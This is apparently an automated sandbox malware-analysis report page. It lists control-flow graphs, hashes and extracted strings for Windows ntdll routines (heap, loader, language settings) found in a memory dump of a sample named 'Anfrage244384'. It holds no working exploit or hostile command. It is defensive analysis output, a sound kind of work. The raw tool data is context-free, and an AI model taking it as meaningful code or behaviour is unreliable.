34e29939-34e29944 598->616 603 34e29af4-34e29af9 599->603 604 34e29aa4-34e29aad 599->604 600->601 605 34e2979e-34e297b2 600->605 606 34e297c0-34e29811 call 34dc9020 RtlDebugPrintTimes 601->606 609 34e29ba8-34e29bb1 603->609 610 34e29aff-34e29b07 603->610 604->590 608 34e29ab3-34e29aef call 34dc9020 604->608 611 34e297b4-34e297b6 605->611 612 34e297b8-34e297ba 605->612 606->560 639 34e29817-34e2981b 606->639 633 34e29ce9 608->633 609->590 617 34e29bb7-34e29bba 609->617 619 34e29b13-34e29b3d call 34e28513 610->619 620 34e29b09-34e29b0d 610->620 611->606 612->606 626 34e29991-34e29998 615->626 627 34e29987-34e29989 615->627 621 34e29946-34e2994d 616->621 622 34e2994f-34e2996e 616->622 623 34e29bc0-34e29c0a 617->623 624 34e29c7d-34e29cb4 call 34dc9020 617->624 645 34e29b43-34e29b9e call 34dc9020 RtlDebugPrintTimes 619->645 646 34e29d08-34e29d0c 619->646 620->609 620->619 621->622 632 34e299d9-34e299f6 RtlDebugPrintTimes 622->632 630 34e29c11-34e29c1e 623->630 631 34e29c0c 623->631 648 34e29cb6 624->648 649 34e29cbb-34e29cc2 624->649 636 34e299bd-34e299bf 626->636 634 34e2998b-34e2998d 627->634 635 34e2998f 627->635 642 34e29c20-34e29c23 630->642 643 34e29c2a-34e29c2d 630->643 631->630 632->560 666 34e299fc-34e29a1f call 34dc9020 632->666 644 34e29ced 633->644 634->626 635->626 640 34e299c1-34e299d7 636->640 641 34e2999a-34e299a4 636->641 650 34e2986b-34e29880 639->650 651 34e2981d-34e29825 639->651 640->632 656 34e299a6 641->656 657 34e299ad 641->657 642->643 654 34e29c39-34e29c7b 643->654 655 34e29c2f-34e29c32 643->655 653 34e29cf1-34e29d06 RtlDebugPrintTimes 644->653 645->560 682 34e29ba4 645->682 646->590 648->649 661 34e29cc4-34e29ccb 649->661 662 34e29ccd 649->662 665 34e29886-34e29894 650->665 663 34e29852-34e29869 651->663 664 34e29827-34e29850 call 34e28513 651->664 653->560 653->646 654->653 655->654 656->640 667 34e299a8-34e299ab 656->667 660 34e299af-34e299b1 657->660 668 34e299b3-34e299b5 660->668 669 34e299bb 660->669 670 34e29cd1-34e29cd7 661->670 662->670 663->665 672 34e29898-34e298ef call 34dc9020 RtlDebugPrintTimes 664->672 665->672 685 34e29a21-34e29a3b 666->685 686 34e29a3d-34e29a58 666->686 667->660 668->669 676 34e299b7-34e299b9 668->676 669->636 677 34e29cd9-34e29cdc 670->677 678 34e29cde-34e29ce4 670->678 672->560 689 34e298f5-34e298f7 672->689 676->636 677->633 678->644 683 34e29ce6 678->683 682->609 683->633 687 34e29a5d-34e29a8b RtlDebugPrintTimes 685->687 686->687 687->560 691 34e29a91-34e29a97 687->691 689->646 691->617
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: $ $0
                                                        • API String ID: 3446177414-3352262554
                                                        • Opcode ID: 32215815ee275daf44772b53db4b929f52f395521fef9f13011c6bc2daa4fe30
                                                        • Instruction ID: d1e7997e498dc1b7e418ad51b9b9a2f4c0c019f61779222f1bc68a24bb60f3fd
                                                        • Opcode Fuzzy Hash: 32215815ee275daf44772b53db4b929f52f395521fef9f13011c6bc2daa4fe30
                                                        • Instruction Fuzzy Hash: 823200B1A083818FE310DF68C884B9BBBE5BF88358F04592EF59987250D775E949CF52
                                                        Function 34E30274 Relevance: 16.1, APIs: 1, Strings: 8, Instructions: 348timeCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1296 34e30274-34e30296 call 34dd7e54 1299 34e302b5-34e302cd call 34d776b2 1296->1299 1300 34e30298-34e302b0 RtlDebugPrintTimes 1296->1300 1305 34e302d3-34e302e9 1299->1305 1306 34e306f7 1299->1306 1304 34e30751-34e30760 1300->1304 1307 34e302f0-34e302f2 1305->1307 1308 34e302eb-34e302ee 1305->1308 1309 34e306fa-34e3074e call 34e30766 1306->1309 1310 34e302f3-34e3030a 1307->1310 1308->1310 1309->1304 1312 34e306b1-34e306ba GetPEB 1310->1312 1313 34e30310-34e30313 1310->1313 1316 34e306d9-34e306de call 34d7b970 1312->1316 1317 34e306bc-34e306d7 GetPEB call 34d7b970 1312->1317 1313->1312 1318 34e30319-34e30322 1313->1318 1325 34e306e3-34e306f4 call 34d7b970 1316->1325 1317->1325 1321 34e30324-34e3033b call 34d8ffb0 1318->1321 1322 34e3033e-34e30351 call 34e30cb5 1318->1322 1321->1322 1330 34e30353-34e3035a 1322->1330 1331 34e3035c-34e30370 call 34d7758f 1322->1331 1325->1306 1330->1331 1335 34e305a2-34e305a7 1331->1335 1336 34e30376-34e30382 GetPEB 1331->1336 1335->1309 1339 34e305ad-34e305b9 GetPEB 1335->1339 1337 34e303f0-34e303fb 1336->1337 1338 34e30384-34e30387 1336->1338 1340 34e30401-34e30408 1337->1340 1341 34e304e8-34e304fa call 34d927f0 1337->1341 1342 34e303a6-34e303ab call 34d7b970 1338->1342 1343 34e30389-34e303a4 GetPEB call 34d7b970 1338->1343 1344 34e30627-34e30632 1339->1344 1345 34e305bb-34e305be 1339->1345 1340->1341 1347 34e3040e-34e30417 1340->1347 1362 34e30590-34e3059d call 34e311a4 call 34e30cb5 1341->1362 1363 34e30500-34e30507 1341->1363 1359 34e303b0-34e303d1 call 34d7b970 GetPEB 1342->1359 1343->1359 1344->1309 1348 34e30638-34e30643 1344->1348 1350 34e305c0-34e305db GetPEB call 34d7b970 1345->1350 1351 34e305dd-34e305e2 call 34d7b970 1345->1351 1354 34e30419-34e30429 1347->1354 1355 34e30438-34e3043c 1347->1355 1348->1309 1356 34e30649-34e30654 1348->1356 1361 34e305e7-34e305fb call 34d7b970 1350->1361 1351->1361 1354->1355 1364 34e3042b-34e30435 call 34e3dac6 1354->1364 1366 34e3044e-34e30454 1355->1366 1367 34e3043e-34e3044c call 34db3bc9 1355->1367 1356->1309 1365 34e3065a-34e30663 GetPEB 1356->1365 1359->1341 1380 34e303d7-34e303eb 1359->1380 1393 34e305fe-34e30608 GetPEB 1361->1393 1362->1335 1371 34e30512-34e3051a 1363->1371 1372 34e30509-34e30510 1363->1372 1364->1355 1375 34e30682-34e30687 call 34d7b970 1365->1375 1376 34e30665-34e30680 GetPEB call 34d7b970 1365->1376 1378 34e30457-34e30460 1366->1378 1367->1378 1382 34e30538-34e3053c 1371->1382 1383 34e3051c-34e3052c 1371->1383 1372->1371 1399 34e3068c-34e306ac call 34e286ba call 34d7b970 1375->1399 1376->1399 1389 34e30472-34e30475 1378->1389 1390 34e30462-34e30470 1378->1390 1380->1341 1396 34e3053e-34e30551 call 34db3bc9 1382->1396 1397 34e3056c-34e30572 1382->1397 1383->1382 1394 34e3052e-34e30533 call 34e3dac6 1383->1394 1391 34e30477-34e3047e 1389->1391 1392 34e304e5 1389->1392 1390->1389 1391->1392 1400 34e30480-34e3048b 1391->1400 1392->1341 1393->1309 1402 34e3060e-34e30622 1393->1402 1394->1382 1413 34e30563 1396->1413 1414 34e30553-34e30561 call 34dafe99 1396->1414 1401 34e30575-34e3057c 1397->1401 1399->1393 1400->1392 1407 34e3048d-34e30496 GetPEB 1400->1407 1401->1362 1408 34e3057e-34e3058e 1401->1408 1402->1309 1411 34e304b5-34e304ba call 34d7b970 1407->1411 1412 34e30498-34e304b3 GetPEB call 34d7b970 1407->1412 1408->1362 1421 34e304bf-34e304dd call 34e286ba call 34d7b970 1411->1421 1412->1421 1415 34e30566-34e3056a 1413->1415 1414->1415 1415->1401 1421->1392
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: About to reallocate block at %p to %Ix bytes$About to rellocate block at %p to 0x%Ix bytes with tag %ws$HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just reallocated block at %p to %Ix bytes$Just reallocated block at %p to 0x%Ix bytes with tag %ws$RtlReAllocateHeap
                                                        • API String ID: 3446177414-1700792311
                                                        • Opcode ID: e251f98b861f849a2653bc3437ec4097868010800e0b93ce675e363043c5b7f4
                                                        • Instruction ID: bc72ed1344c2feea1b2ad17d261e137b59bcba8c02d79e4ec04a8eecd0cd9702
                                                        • Opcode Fuzzy Hash: e251f98b861f849a2653bc3437ec4097868010800e0b93ce675e363043c5b7f4
                                                        • Instruction Fuzzy Hash: 0BD1F235602685EFEB13CF68C440AADBBF1FF4A719F448099E485AB65AC734D941CF24
                                                        Function 34E2F525 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 231timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: HEAP: $HEAP[%wZ]: $Invalid allocation size - %Ix (exceeded %Ix)$Just allocated block at %p for %Ix bytes$Just allocated block at %p for 0x%Ix bytes with tag %ws$RtlAllocateHeap
                                                        • API String ID: 3446177414-1745908468
                                                        • Opcode ID: 292575fad65aa2917c9bea98460300cc434e56e6a554d1457e861e19638b7b99
                                                        • Instruction ID: 1bf9394d5d95e5ee4dd774dfeb2509ae5f54e735f6f66cef2d07b441651dac84
                                                        • Opcode Fuzzy Hash: 292575fad65aa2917c9bea98460300cc434e56e6a554d1457e861e19638b7b99
                                                        • Instruction Fuzzy Hash: E7911135A00641DFEB06EFA8C440A9DFBF2FF4A318F14849DE495AB262CB359941DF54
                                                        Function 34E312ED Relevance: 11.8, Strings: 9, Instructions: 515COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
                                                        • API String ID: 0-3591852110
                                                        • Opcode ID: cf04cf891304d528f2bf3ffcb9e70dadfe4de35df31f16d53d627a0d53467135
                                                        • Instruction ID: fa276125743874f0306cbb5e8d6f63ebe197e61f30ff0913250eb1c97c1b7c93
                                                        • Opcode Fuzzy Hash: cf04cf891304d528f2bf3ffcb9e70dadfe4de35df31f16d53d627a0d53467135
                                                        • Instruction Fuzzy Hash: C912AC78601742EFE7168F64C440BBAFBF5EF0A358F54849DE4968B652DB34E881CB60
                                                        Function 34D7D34C Relevance: 11.6, Strings: 9, Instructions: 312COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$@$@$Control Panel\Desktop$Control Panel\Desktop\MuiCached$MachinePreferredUILanguages$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings
                                                        • API String ID: 0-3532704233
                                                        • Opcode ID: 2200925df437b01b9d8f0cfdde60344be222d0c9674ebe850ef4130a77966860
                                                        • Instruction ID: fcf900b7f6c5168a5ba25f55c0dca291592070ff21297f9cc28a32c9aa3f11e6
                                                        • Opcode Fuzzy Hash: 2200925df437b01b9d8f0cfdde60344be222d0c9674ebe850ef4130a77966860
                                                        • Instruction Fuzzy Hash: 19B17EB66083559FE711CF18C480A5FBBE8BF89754F41492EF888D7254DB30D949CBA2
                                                        Function 34D91070 Relevance: 11.4, APIs: 2, Strings: 4, Instructions: 940timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: !(CheckedFlags & ~HEAP_CREATE_VALID_MASK)$@$HEAP: $HEAP[%wZ]:
                                                        • API String ID: 3446177414-3570731704
                                                        • Opcode ID: a81e5c6b9f57ebae1ecf787be799b75929c07d83c2d2b9f8791a107762217dd7
                                                        • Instruction ID: 1e8915f7265761f2261ef2e8b9401a9ca3b5334b5cb1c387e6ccc4f974160173
                                                        • Opcode Fuzzy Hash: a81e5c6b9f57ebae1ecf787be799b75929c07d83c2d2b9f8791a107762217dd7
                                                        • Instruction Fuzzy Hash: F4924675A01329DFFB64CF28C850B99B7B5BF45394F0182EAD949A7291DB309E80CF61
                                                        Function 34DAD7B0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 151timeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RtlDebugPrintTimes.NTDLL ref: 34DAD959
                                                          • Part of subcall function 34D84859: RtlDebugPrintTimes.NTDLL ref: 34D848F7
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: $$$$LdrShutdownProcess$Process 0x%p (%wZ) exiting$minkernel\ntdll\ldrinit.c
                                                        • API String ID: 3446177414-1975516107
                                                        • Opcode ID: ee555cf2d874e1840950383e6b72fb0479040522f38e1e0c9f8843e86de6413b
                                                        • Instruction ID: 32fb77b52ce0b2d4a086b0a75d43f787b1e71b31cdae2646d5526a43393882d1
                                                        • Opcode Fuzzy Hash: ee555cf2d874e1840950383e6b72fb0479040522f38e1e0c9f8843e86de6413b
                                                        • Instruction Fuzzy Hash: E951CB75A00345DFEB04CFB4C48479EBBB2FF48328F248159D811AB299DB74A986CF91
                                                        Function 34E19179 Relevance: 10.4, Strings: 8, Instructions: 401COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: %s\%ld\%s$%s\%u-%u-%u-%u$AppContainerNamedObjects$BaseNamedObjects$Global\Session\%ld%s$\AppContainerNamedObjects$\BaseNamedObjects$\Sessions
                                                        • API String ID: 0-3063724069
                                                        • Opcode ID: 3027ff27aada9d1741d6b4a9b307e8f1bc5b66ccd7ea77af0cb1db865b469bf9
                                                        • Instruction ID: 7c9289eae8be4cfe09655c74f440e9f3ff1dbc05d512457099c49c0c38010bb8
                                                        • Opcode Fuzzy Hash: 3027ff27aada9d1741d6b4a9b307e8f1bc5b66ccd7ea77af0cb1db865b469bf9
                                                        • Instruction Fuzzy Hash: 26D1D3B2944355EFE721CB50C840B6BB7E8AF84B58F444A2DF985A7250D774CD48CFA2
                                                        Function 34D7D08D Relevance: 10.2, Strings: 8, Instructions: 249COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • @, xrefs: 34D7D313
                                                        • @, xrefs: 34D7D2AF
                                                        • \Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration, xrefs: 34D7D2C3
                                                        • Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 34D7D146
                                                        • Control Panel\Desktop\MuiCached\MachineLanguageConfiguration, xrefs: 34D7D262
                                                        • @, xrefs: 34D7D0FD
                                                        • Control Panel\Desktop\LanguageConfiguration, xrefs: 34D7D196
                                                        • \Registry\Machine\Software\Policies\Microsoft\MUI\Settings, xrefs: 34D7D0CF
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: @$@$@$Control Panel\Desktop\LanguageConfiguration$Control Panel\Desktop\MuiCached\MachineLanguageConfiguration$Software\Policies\Microsoft\Control Panel\Desktop$\Registry\Machine\Software\Policies\Microsoft\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings\LanguageConfiguration
                                                        • API String ID: 0-1356375266
                                                        • Opcode ID: 5da8713a629c5b574165f1ce78b9f6840af9214eb8380f737de1ea751db44ee7
                                                        • Instruction ID: b1f4f28ab2c655073d072d52d382a3b641541b8769880e0a75720b52660d027d
                                                        • Opcode Fuzzy Hash: 5da8713a629c5b574165f1ce78b9f6840af9214eb8380f737de1ea751db44ee7
                                                        • Instruction Fuzzy Hash: 43A139B1908345DFE711CF25C480B5BBBE8BF84765F40892EE99897250EB74D909CFA2
                                                        Function 34D7F172 Relevance: 8.2, Strings: 6, Instructions: 684COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
                                                        • API String ID: 0-523794902
                                                        • Opcode ID: 9d87339b40095221c9570517847fc92dc7436a317e668d84a1721e5e38228e88
                                                        • Instruction ID: 106ee07dd29e4afe0949c940af6dfc5c0b37e56d844bc9648db580352553b47c
                                                        • Opcode Fuzzy Hash: 9d87339b40095221c9570517847fc92dc7436a317e668d84a1721e5e38228e88
                                                        • Instruction Fuzzy Hash: 7442EA75308781DFE715CF28C884A6ABBE5FF89344F04496DE8A5CB252DB30E845CB62
                                                        Function 34D9B1B0 Relevance: 7.8, Strings: 6, Instructions: 350COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: API set$DLL %wZ was redirected to %wZ by %s$LdrpPreprocessDllName$LdrpPreprocessDllName for DLL %wZ failed with status 0x%08lx$SxS$minkernel\ntdll\ldrutil.c
                                                        • API String ID: 0-122214566
                                                        • Opcode ID: baf8d78e536075103b890c5d294968d03ca98a9947184dddccfd08fe68f27004
                                                        • Instruction ID: 0c5ea289c8610d947e980245f5f1940a9579fffcd1179d6b0557f65ed53f404f
                                                        • Opcode Fuzzy Hash: baf8d78e536075103b890c5d294968d03ca98a9947184dddccfd08fe68f27004
                                                        • Instruction Fuzzy Hash: 8FC11071B00315AFEB14CB64C880BFEB7EAFF45714F5241A9E845EB290EB748984C7A1
                                                        Function 34D90770 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 414COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
                                                        • API String ID: 0-4253913091
                                                        • Opcode ID: 0a858c645072c002f58ee3cf7931bc5728c2471274bacc1cc6bb64c49abce6c5
                                                        • Instruction ID: 3f905b582374cbb343c7918e26e7269df6d5ea671b122af1d24575d69dda1170
                                                        • Opcode Fuzzy Hash: 0a858c645072c002f58ee3cf7931bc5728c2471274bacc1cc6bb64c49abce6c5
                                                        • Instruction Fuzzy Hash: 97F18974B00605EFEB06CFA8E890BAAB7F5FF45344F1481A8E555DB391DB34A981CB90
                                                        Function 34DAF5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 34DF02BD
                                                        • RTL: Re-Waiting, xrefs: 34DF031E
                                                        • RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 34DF02E7
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
                                                        • API String ID: 0-2474120054
                                                        • Opcode ID: fb41fb1a38b731c5d9d73d0b912bc49ae7709aab79b6547c5422480cd583a164
                                                        • Instruction ID: f4df08dce15ae4da3c63355a5f219ae399505b12e8313371dcd7b66df836768a
                                                        • Opcode Fuzzy Hash: fb41fb1a38b731c5d9d73d0b912bc49ae7709aab79b6547c5422480cd583a164
                                                        • Instruction Fuzzy Hash: 78E1BA74608741DFE722CF28C880B1AB7E4BF89364F144AADF5A58B2E0DB75D845CB52
                                                        Function 34E09C32 Relevance: 6.8, Strings: 5, Instructions: 542COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034EEE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_3_2_34d50000_Anfrage244384.jbxd
                                                        Similarity
                                                        • API ID: DebugPrintTimes
                                                        • String ID: @$AVRF: Verifier .dlls must not have thread locals$KnownDllPath$L$\KnownDlls32
                                                        • API String ID: 3446177414-3127649145
                                                        • Opcode ID: 4a5327e7fbb3dd3b9de840924817287d941e8a1ccbe386da221cd034d0086cf0
                                                        • Instruction ID: 7f99a9394c9aa5e5c42a8e32695e77bfe16dcc502b9e8c8577d1bca01b70c7d6
                                                        • Opcode Fuzzy Hash: 4a5327e7fbb3dd3b9de840924817287d941e8a1ccbe386da221cd034d0086cf0
                                                        • Instruction Fuzzy Hash: 58324974A017199FEB21CF65CC88B9AB7F9FF54304F1081EAD519A7650DB70AA88CF50
                                                        Function 34DA51EF Relevance: 6.7, Strings: 5, Instructions: 434COMMON
                                                        Download Yara Rule
                                                        Strings
                                                        • Kernel-MUI-Language-SKU, xrefs: 34DA542B
                                                        • WindowsExcludedProcs, xrefs: 34DA522A
                                                        • Kernel-MUI-Number-Allowed, xrefs: 34DA5247
                                                        • Kernel-MUI-Language-Allowed, xrefs: 34DA527B
                                                        • Kernel-MUI-Language-Disallowed, xrefs: 34DA5352
                                                        Memory Dump Source
                                                        • Source File: 00000003.00000002.3110255884.0000000034D50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34D50000, based on PE: true
                                                        • Associated: 00000003.00000002.3110255884.0000000034E79000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                        • Associated: 00000003.00000002.3110255884.0000000034E7D000.00000040.00001000.00020000.00000000.sdmpDownload File
